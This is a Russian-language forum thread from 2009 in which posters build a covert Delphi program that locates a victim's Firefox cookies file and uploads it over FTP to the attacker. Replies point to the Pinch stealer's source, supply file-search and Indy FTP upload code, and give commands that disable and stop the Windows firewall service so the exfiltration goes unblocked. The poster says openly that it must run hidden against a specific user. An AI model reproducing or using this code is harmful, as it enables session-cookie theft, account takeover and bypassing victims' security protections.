PDA

Просмотр полной версии : Делфи и куки


KREGI
22.06.2009, 11:26
Собственоо вопрос заключается в поиске куков на компьютере пользователя, и последующая отсылка мне на почту (или ftp сервер), но проблемам с поиском, можете помочь?

slesh
22.06.2009, 11:38
Бери исходники первого пинча и смотри как он это делает.
Но всё равно для каждого браузера свои методы

KREGI
22.06.2009, 11:40
можно ссылку ?
это нужно делать скрытно...
и я думаю что у пользователя (мне именно его нужно) мазила

KREGI
22.06.2009, 12:00
slesh я расчитывал сделать поиск по всему диску с файла cookies.sqlite
но не могу сделать по всему диску с и последующую его отправку на почту or FTP

wolmer
22.06.2009, 12:01
http://forum.antichat.ru/threadnav122292-1-10.html

KREGI
22.06.2009, 12:28
wolmer скажи,
if pos('vkontakte',searchrec.name)<>0 then
ищется позиция в куке?

wolmer
22.06.2009, 12:39
wolmer скажи,
if pos('vkontakte',searchrec.name)<>0 then
ищется позиция в куке?
Ищется есть ли куки контакта
То есть если значение pos() не равно нулю то значит куки есть (в нашем случае)

KREGI
22.06.2009, 12:57
но мне желательно весь файл кукес, так как я помню куки в мозиле в одном файле.

wolmer
22.06.2009, 13:11
но мне желательно весь файл кукес, так как я помню куки в мозиле в одном файле.
Изучай FTP компонент (инди)
Он легкий в изучении, заливка идет через put() если я не ошибаюсь

(гугл в помощь по изучению)

KREGI
22.06.2009, 13:15
Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
Строчка верно написана?

wolmer
22.06.2009, 13:19
Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
Строчка верно написана?
Да

KREGI
22.06.2009, 16:13
procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc,startdir, TMP_FILE:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Firefox,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
if FileExists(Firefox) then
begin
AssignFile(f,Firefox);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
// отправка на сервер
with IdFTP1 do try
IdFTP1.Username:='Login';
IdFTP1.Password:='pass';
IdFTP1.Host:='ftp';
Connect;

finally
if IdFTP1.Connected
then
try
IdFTP1.Put(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite','',false);
finally
if IdFTP1.Connected then
IdFTP1.Disconnect;
end;
end;
end;
end;

end.


Вот код, по идеи должны отправляться куки с компьюттера на фтп, но увы, в чем ошибка(а она есть :) )

wolmer
22.06.2009, 16:28
Понимаешь программирование такая штука что тут надо варить своей головой и смыслить что ты пишешь

procedure TForm1.FormCreate(Sender: TObject);
var
fireuser:string;
find:integer;
sf:TSearchRec;
begin
find:=FindFirst('D:\Documents and Settings\my\Application Data\Mozilla\Firefox\Profiles\*',faDirectory,sf);
if find=0 then
begin
if ((Sf.Attr and faDirectory) = faDirectory) and
((Sf.Name = '.') or (Sf.Name = '..')) then
begin
Find:=FindNext(Sf);
end;
find:=FindNext(sf);
edit1.text:=sf.name;
end;
end;

Это пример кода с одним юзером...
Мы тут узнаем самого юзера фаерфокса
Вообщем пробуй! Если что не выйдет - подскажу

KREGI
22.06.2009, 16:53
wolmer понимаешь ээто должно происходить скрытно, сижу мучаюсь уже с утра, и не отправляет он куки, хотя другие файлы(если укажу путь) отправляет

Fliplab
23.06.2009, 11:41
Твоя задача обойти Windows Firewall и другие?

KREGI
23.06.2009, 13:01
Fliplab найти и отправить куки удалось, но палят отправку (и блокируют) фаерволы, не знаешь как это обойти?

JeDaSe
23.06.2009, 16:03
страннно, но я это всё выкладывал(но раз лень искать)

winexec(PChar('cmd.exe /c sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
winexec(PChar('cmd.exe /c sc stop SharedAccess '),sw_normal);

KREGI
23.06.2009, 16:20
Спасибо за помощь, искал не нашел(плохо искал значит)